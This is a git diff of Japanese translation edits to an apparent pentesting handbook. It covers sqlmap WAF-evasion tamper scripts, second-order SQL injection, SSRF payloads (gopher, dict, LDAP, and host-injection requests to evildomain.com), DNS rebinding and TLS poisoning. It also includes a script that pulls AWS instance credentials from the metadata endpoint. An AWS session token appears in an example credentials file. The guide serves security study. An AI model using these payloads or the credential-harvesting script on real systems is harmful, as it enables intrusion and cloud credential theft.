| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||||
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
|
| commalesslimit.py | 「LIMIT M, N」のようなインスタンスを「LIMIT N OFFSET M」に置き換えます。 |
|
||||||
| commalessmid.py | 'MID(A, B, C)' のようなインスタンスを 'MID(A FROM B FOR C)' に置き換えます。 |
|
| commalessmid.py | 「MID(A, B, C)」のようなインスタンスを「MID(A FROM B FOR C)」に置き換えます。 |
|
||||||
| concat2concatws.py | 'CONCAT(A, B)' のようなインスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に置き換えます。 |
|
| concat2concatws.py | 「CONCAT(A, B)」のようなインスタンスを「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」に置き換えます。 |
|
||||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||||
| equaltolike.py | 演算子等号('=')のすべての出現を演算子 'LIKE' に置き換えます。 |
|
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 |
|
||||||
| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
|
| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
|
||||||
| greatest.py | 大なり演算子('>')を 'GREATEST' 対応に置き換えます。 |
|
| greatest.py | 大なり演算子('>')を「GREATEST」に置き換えます。 |
|
||||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' のようなインスタンスを 'IF(ISNULL(A), B, A)' に置き換えます。 |
|
| ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 |
|
||||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||||
| nonrecursivereplacement.py | 定義済みのSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "") フィルター)。 |
|
| nonrecursivereplacement.py | 置換に適した表現で事前定義されたSQLキーワードを置き換えます(例:.replace("SELECT", "")フィルター)。 |
|
||||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||||
| sp_password.py | ペイロードの最後に 'sp_password' を追加してDBMSログからの自動的な難読化を行います。 |
|
| sp_password.py | ペイロードの最後に「sp_password」を追加してDBMSログからの自動的な難読化を行います。 |
|
||||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
|
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
|
||||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
||||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応(&&および)に置き換えます。 |
|
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物(&&および)に置き換えます。 |
|
||||||
| unionalltounion.py | UNION ALL SELECT を UNION SELECT に置き換えます。 |
|
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||||
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ %bf%27 に置き換え、最後に一般的なコメントを追加します(動作させるため)。 |
|
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します(機能させるため)。 |
|
||||||
| uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
|
| uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 |
|
||||||
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
|
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 |
|
||||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||||
|
| xforwardedfor.py | 偽のHTTPヘッダー「X-Forwarded-For」を追加します。 |
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
提供する必要があるのは:
|
提供する必要があるのは:
|
||||||
|
|
||||||
- **SQLインジェクションペイロード**が保存される**リクエスト**
|
- **SQLインジェクションペイロード**が保存される**リクエスト**
|
||||||
- **ペイロード**が**実行される****リクエスト**
|
- **ペイロード**が**実行される**リクエスト
|
||||||
|
|
||||||
SQLインジェクションペイロードが保存されるリクエストは、**sqlmapの他のインジェクションと同様に示されます**。SQLインジェクションの出力/実行をsqlmapが読み取ることができるリクエストは、`--second-url`またはファイルから完全なリクエストを示す必要がある場合は`--second-req`で示すことができます。
|
SQLインジェクションペイロードが保存されるリクエストは、**sqlmapの他のインジェクションと同様に示されます**。SQLインジェクションの出力/実行をsqlmapが読み取ることができるリクエストは、`--second-url`またはファイルから完全なリクエストを示す必要がある場合は`--second-req`で示すことができます。
|
||||||
|
|
||||||
@ -16,9 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
|
|||||||
#Get the SQL payload execution sending a custom request from a file
|
#Get the SQL payload execution sending a custom request from a file
|
||||||
sqlmap -r login.txt -p username --second-req details.txt
|
sqlmap -r login.txt -p username --second-req details.txt
|
||||||
```
|
```
|
||||||
いくつかのケースでは**これだけでは不十分**であり、ペイロードを送信し、別のページにアクセスする以外の**他のアクションを実行する必要があります**。
|
いくつかのケースでは**これだけでは不十分**であり、ペイロードを送信して別のページにアクセスする以外に**他のアクションを実行する必要があります**。
|
||||||
|
|
||||||
これが必要な場合は、**sqlmap tamper**を使用できます。たとえば、次のスクリプトは**sqlmapペイロードをメールとして使用して新しいユーザーを登録し**、ログアウトします。
|
これが必要な場合は、**sqlmap tamper**を使用できます。たとえば、次のスクリプトは**sqlmapペイロードをメールとして使用して**新しいユーザーを登録し、ログアウトします。
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
@ -46,7 +46,7 @@ headers = kwargs.get("headers", {})
|
|||||||
login_account(payload)
|
login_account(payload)
|
||||||
return payload
|
return payload
|
||||||
```
|
```
|
||||||
A **SQLMap tamperは、ペイロードを使ってインジェクションを試みる前に常に実行されます** **そして、ペイロードを返す必要があります**。この場合、ペイロードには関心がありませんが、いくつかのリクエストを送信することに関心があるので、ペイロードは変更されません。
|
A **SQLMap tamperは、ペイロードを使ってインジェクションを試みる前に常に実行され**、**ペイロードを返す必要があります**。この場合、ペイロードには関心がありませんが、いくつかのリクエストを送信することに関心があるため、ペイロードは変更されません。
|
||||||
|
|
||||||
したがって、何らかの理由で第二次SQLインジェクションを悪用するためにより複雑なフローが必要な場合は、次のようになります:
|
したがって、何らかの理由で第二次SQLインジェクションを悪用するためにより複雑なフローが必要な場合は、次のようになります:
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@
|
|||||||
|
|
||||||
## ホワイトリストドメインのバイパス
|
## ホワイトリストドメインのバイパス
|
||||||
|
|
||||||
通常、SSRFは **特定のホワイトリストドメイン** またはURLでのみ機能します。次のページには、そのホワイトリストをバイパスするための **技術のコンパイル** があります:
|
通常、SSRFは**特定のホワイトリストドメイン**またはURLでのみ機能します。次のページには、そのホワイトリストをバイパスするための**技術のコンパイル**があります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
url-format-bypass.md
|
url-format-bypass.md
|
||||||
@ -30,7 +30,7 @@ url-format-bypass.md
|
|||||||
|
|
||||||
### オープンリダイレクトによるバイパス
|
### オープンリダイレクトによるバイパス
|
||||||
|
|
||||||
サーバーが適切に保護されている場合、**ウェブページ内のオープンリダイレクトを利用してすべての制限をバイパスすることができます**。ウェブページは **同じドメインへのSSRFを許可し、リダイレクトに従う可能性があるため、** オープンリダイレクトを利用してサーバーが内部の任意のリソースにアクセスするように仕向けることができます。\
|
サーバーが適切に保護されている場合、**ウェブページ内のオープンリダイレクトを利用してすべての制限をバイパスすることができます**。ウェブページは**同じドメインへのSSRFを許可し、リダイレクトを**おそらく**追従するため、**オープンリダイレクトを利用してサーバーが内部の任意のリソースにアクセスするように仕向けることができます**。\
|
||||||
詳細はこちらをお読みください: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
詳細はこちらをお読みください: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||||
|
|
||||||
## プロトコル
|
## プロトコル
|
||||||
@ -40,13 +40,13 @@ url-format-bypass.md
|
|||||||
- **dict://**
|
- **dict://**
|
||||||
- DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されることが説明されています。特定の単語、データベース、エントリ番号をターゲットにした構築されたURLの例が示され、攻撃者提供の資格情報を使用してDICTサーバーに接続するためにPHPスクリプトが悪用される可能性があることが示されています: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
- DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されることが説明されています。特定の単語、データベース、エントリ番号をターゲットにした構築されたURLの例が示され、攻撃者提供の資格情報を使用してDICTサーバーに接続するためにPHPスクリプトが悪用される可能性があることが示されています: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||||
- **SFTP://**
|
- **SFTP://**
|
||||||
- セキュアシェルを介った安全なファイル転送のためのプロトコルとして特定され、悪意のあるSFTPサーバーに接続するためにPHPスクリプトが悪用される方法の例が示されています: `url=sftp://generic.com:11111/`
|
- セキュアシェルを介った安全なファイル転送のためのプロトコルとして特定され、悪意のあるSFTPサーバーに接続するためにPHPスクリプトが悪用される方法の例が提供されています: `url=sftp://generic.com:11111/`
|
||||||
- **TFTP://**
|
- **TFTP://**
|
||||||
- UDP上で動作するトリビアルファイル転送プロトコルが言及され、TFTPサーバーにリクエストを送信するために設計されたPHPスクリプトの例が示されています。TFTPリクエストは、ポート '12346' の 'generic.com' に対してファイル 'TESTUDPPACKET' に対して行われます: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
- UDP上で動作するトリビアルファイル転送プロトコルが言及され、TFTPサーバーにリクエストを送信するために設計されたPHPスクリプトの例が示されています。TFTPリクエストは、ポート '12346' の 'generic.com' に対してファイル 'TESTUDPPACKET' に対して行われます: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||||
- **LDAP://**
|
- **LDAP://**
|
||||||
- このセグメントでは、軽量ディレクトリアクセスプロトコルについて説明し、IPネットワークを介して分散ディレクトリ情報サービスを管理およびアクセスするための使用を強調しています。ローカルホストのLDAPサーバーと対話する: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
- このセグメントでは、軽量ディレクトリアクセスプロトコルについて説明し、IPネットワークを介して分散ディレクトリ情報サービスを管理およびアクセスするための使用を強調しています。ローカルホストのLDAPサーバーと対話する: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||||
- **SMTP**
|
- **SMTP**
|
||||||
- SSRF脆弱性を利用してローカルホスト上のSMTPサービスと対話する方法が説明されており、内部ドメイン名を明らかにし、その情報に基づいてさらなる調査を行う手順が含まれています。
|
- SSRF脆弱性を悪用してローカルホスト上のSMTPサービスと対話する方法が説明されており、内部ドメイン名を明らかにし、その情報に基づいてさらなる調査を行う手順が含まれています。
|
||||||
```
|
```
|
||||||
From https://twitter.com/har1sec/status/1182255952055164929
|
From https://twitter.com/har1sec/status/1182255952055164929
|
||||||
1. connect with SSRF on smtp localhost:25
|
1. connect with SSRF on smtp localhost:25
|
||||||
@ -55,12 +55,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||||||
4. connect
|
4. connect
|
||||||
```
|
```
|
||||||
- **Curl URL globbing - WAF バイパス**
|
- **Curl URL globbing - WAF バイパス**
|
||||||
- SSRF が **curl** によって実行される場合、curl には WAF をバイパスするのに役立つ可能性のある [**URL globbing**](https://everything.curl.dev/cmdline/globbing) という機能があります。例えば、この [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) では **`file` プロトコルを介したパストラバーサル** の例が見つかります。
|
- SSRFが**curl**によって実行される場合、curlにはWAFをバイパスするのに役立つ可能性のある[**URL globbing**](https://everything.curl.dev/cmdline/globbing)という機能があります。例えば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)では、**`file`プロトコルを介したパストラバーサル**の例が見つかります。
|
||||||
```
|
```
|
||||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||||
```
|
```
|
||||||
- **Gopher://**
|
- **Gopher://**
|
||||||
- GopherプロトコルのIP、ポート、バイトを指定してサーバーと通信する能力について説明し、ペイロードを作成するためのGopherusやremote-method-guesserなどのツールについても触れています。二つの異なる使用例が示されています:
|
- GopherプロトコルのIP、ポート、バイトを指定してサーバーと通信する能力について、Gopherusやremote-method-guesserのようなツールを使ってペイロードを作成する方法が説明されています。二つの異なる使用例が示されています:
|
||||||
|
|
||||||
### Gopher://
|
### Gopher://
|
||||||
|
|
||||||
@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|||||||
|
|
||||||
## PDFのレンダリング
|
## PDFのレンダリング
|
||||||
|
|
||||||
ウェブページが提供した情報を使って自動的にPDFを作成している場合、**PDF作成者**(サーバー)によってPDF作成中に実行されるJSを**挿入することができます**。これにより、SSRFを悪用することが可能です。[**こちらで詳細を確認してください**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**。**
|
ウェブページが提供した情報で自動的にPDFを作成している場合、**PDF作成者**(サーバー)によってPDF作成中に実行されるJSを**挿入することができます**。これにより、SSRFを悪用することができます。[**詳細はこちら**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**。**
|
||||||
|
|
||||||
## SSRFからDoSへ
|
## SSRFからDoSへ
|
||||||
|
|
||||||
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|||||||
|
|
||||||
## GopherへのSSRFリダイレクト
|
## GopherへのSSRFリダイレクト
|
||||||
|
|
||||||
いくつかのエクスプロイトには、**リダイレクトレスポンスを送信する必要があるかもしれません**(異なるプロトコルを使用するためにgopherなど)。ここでは、リダイレクトで応答するための異なるPythonコードがあります:
|
いくつかのエクスプロイトには、**リダイレクトレスポンスを送信する**必要があるかもしれません(異なるプロトコルを使用するためにgopherなど)。ここでは、リダイレクトで応答するための異なるPythonコードがあります:
|
||||||
```python
|
```python
|
||||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||||
@ -206,7 +206,7 @@ app.run(threaded=False)
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Flaskは**`@`**を初期文字として使用することを許可しており、**初期ホスト名をユーザー名**として使用し、新しいホスト名を注入することができます。攻撃リクエスト:
|
Flaskは**`@`**を初期文字として使用することを許可しており、**初期ホスト名をユーザー名に**して新しいものを注入することができます。攻撃リクエスト:
|
||||||
```http
|
```http
|
||||||
GET @evildomain.com/ HTTP/1.1
|
GET @evildomain.com/ HTTP/1.1
|
||||||
Host: target.com
|
Host: target.com
|
||||||
@ -245,7 +245,7 @@ var_dump($response);
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
PHPは、URLのパスのスラッシュの前に**char `*`を使用することを許可します**が、他にも制限があります。例えば、ルートパス `/` のみで使用でき、最初のスラッシュの前にドット `.` を使用することは許可されていないため、例えばドットなしの16進数エンコードされたIPアドレスを使用する必要があります。
|
PHPは、URLのパスのスラッシュの前に**char `*`**を使用することを許可していますが、他にも制限があります。例えば、ルートパス `/` のみで使用でき、最初のスラッシュの前にドット `.` を使用することは許可されていません。そのため、例えばドットなしの16進数エンコードされたIPアドレスを使用する必要があります。
|
||||||
```http
|
```http
|
||||||
GET *@0xa9fea9fe/ HTTP/1.1
|
GET *@0xa9fea9fe/ HTTP/1.1
|
||||||
Host: target.com
|
Host: target.com
|
||||||
@ -263,7 +263,7 @@ Connection: close
|
|||||||
|
|
||||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) は [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻撃を実行するためのツールです。攻撃サーバーの DNS 名の IP アドレスをターゲットマシンの IP アドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) は [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻撃を実行するためのツールです。攻撃サーバーの DNS 名の IP アドレスをターゲットマシンの IP アドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
|
||||||
|
|
||||||
また、**http://rebind.it/singularity.html** にある **公開実行中のサーバー** もチェックしてください。
|
また、**http://rebind.it/singularity.html** で **公開されているサーバー**もチェックしてください。
|
||||||
|
|
||||||
## DNS Rebidding + TLS セッション ID/セッションチケット
|
## DNS Rebidding + TLS セッション ID/セッションチケット
|
||||||
|
|
||||||
@ -275,12 +275,12 @@ Connection: close
|
|||||||
|
|
||||||
攻撃:
|
攻撃:
|
||||||
|
|
||||||
1. ユーザー/ボットに **攻撃者が制御するドメイン** に **アクセス** させる
|
1. ユーザー/ボットに **攻撃者が制御するドメイン**に **アクセス**させる
|
||||||
2. **DNS** の **TTL** は **0** 秒です(したがって、被害者はすぐにドメインの IP を再確認します)
|
2. **DNS** の **TTL** は **0** 秒(したがって、被害者はすぐにドメインの IP を再確認します)
|
||||||
3. 被害者と攻撃者のドメインの間に **TLS 接続** が作成されます。攻撃者は **セッション ID またはセッションチケットの中に** **ペイロードを挿入** します。
|
3. 被害者と攻撃者のドメイン間に **TLS 接続**が作成されます。攻撃者は **セッション ID またはセッションチケットの中に** **ペイロードを挿入**します。
|
||||||
4. **ドメイン** は **自分自身** に対して **無限ループ** のリダイレクトを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、再度 **ドメインの DNS リクエスト** を行うことです。
|
4. **ドメイン**は **自分自身**に対して **無限ループ**のリダイレクトを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、再度 **DNS リクエスト**を実行させることです。
|
||||||
5. DNS リクエストでは **プライベート IP** アドレスが **今** 与えられます(例えば 127.0.0.1)
|
5. DNS リクエストでは **プライベート IP** アドレスが **今** 与えられます(例えば 127.0.0.1)
|
||||||
6. ユーザー/ボットは **TLS 接続を再確立しようとし**、そのために **セッション** ID/チケット ID(攻撃者の **ペイロード** が含まれていた)を **送信** します。おめでとうございます、あなたは **ユーザー/ボットに自分自身を攻撃させる** ことに成功しました。
|
6. ユーザー/ボットは **TLS 接続を再確立しようとし**、そのために **セッション** ID/チケット ID(攻撃者の **ペイロード**が含まれていた)を **送信**します。おめでとうございます、あなたは **ユーザー/ボットに自分自身を攻撃させる**ことに成功しました。
|
||||||
|
|
||||||
この攻撃中、localhost:11211 (_memcache_) を攻撃したい場合、被害者に www.attacker.com:11211 との初期接続を確立させる必要があります(**ポートは常に同じでなければなりません**)。\
|
この攻撃中、localhost:11211 (_memcache_) を攻撃したい場合、被害者に www.attacker.com:11211 との初期接続を確立させる必要があります(**ポートは常に同じでなければなりません**)。\
|
||||||
この攻撃を実行するには、次のツールを使用できます: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
この攻撃を実行するには、次のツールを使用できます: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||||
@ -288,15 +288,15 @@ Connection: close
|
|||||||
|
|
||||||
## ブラインド SSRF
|
## ブラインド SSRF
|
||||||
|
|
||||||
ブラインド SSRF と非ブラインド SSRF の違いは、ブラインドでは SSRF リクエストの応答を見ることができないことです。そのため、悪用が難しく、よく知られた脆弱性のみを悪用できることになります。
|
ブラインド SSRF と非ブラインド SSRF の違いは、ブラインドでは SSRF リクエストの応答を見ることができないことです。そのため、悪用するのがより難しく、よく知られた脆弱性のみを悪用できることになります。
|
||||||
|
|
||||||
### 時間ベースの SSRF
|
### 時間ベースの SSRF
|
||||||
|
|
||||||
サーバーからの応答の **時間を確認することで、リソースが存在するかどうかを知ることができるかもしれません**(存在するリソースにアクセスするのにかかる時間が、存在しないリソースにアクセスするのにかかる時間よりも長いかもしれません)。
|
サーバーからの応答の **時間を確認することで、リソースが存在するかどうかを知ることができるかもしれません**(存在するリソースにアクセスするのにかかる時間が、存在しないリソースにアクセスするのにかかる時間よりも長いかもしれません)。
|
||||||
|
|
||||||
## クラウド SSRF 悪用
|
## クラウド SSRF 攻撃
|
||||||
|
|
||||||
クラウド環境内で実行されているマシンに SSRF 脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を取得できるかもしれません:
|
クラウド環境内で実行されているマシンに SSRF 脆弱性を見つけた場合、クラウド環境や資格情報に関する興味深い情報を取得できるかもしれません:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
cloud-ssrf.md
|
cloud-ssrf.md
|
||||||
|
@ -8,14 +8,14 @@
|
|||||||
|
|
||||||
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||||
|
|
||||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**ものは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがそれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのがより複雑です**)。
|
メタデータエンドポイントには**2つのバージョン**があります。**最初の**ものは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがこれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのがより複雑です**)。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
> EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
||||||
>
|
>
|
||||||
> さらに、**IMDSv2**は、**`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストをブロックします**。これは、誤って設定されたリバースプロキシがそれにアクセスできないようにするためです。
|
> さらに、**IMDSv2**は、**`X-Forwarded-For`ヘッダーを含むトークンを取得するリクエストをブロックします**。これは、誤って設定されたリバースプロキシがアクセスできないようにするためです。
|
||||||
|
|
||||||
[メタデータエンドポイントに関する情報はドキュメントにあります](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
|
[メタデータエンドポイントに関する情報はドキュメントにあります](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。次のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
|
||||||
```bash
|
```bash
|
||||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||||
@ -90,13 +90,13 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||||||
```
|
```
|
||||||
**aws_session_token**に注意してください。これはプロファイルが機能するために不可欠です。
|
**aws_session_token**に注意してください。これはプロファイルが機能するために不可欠です。
|
||||||
|
|
||||||
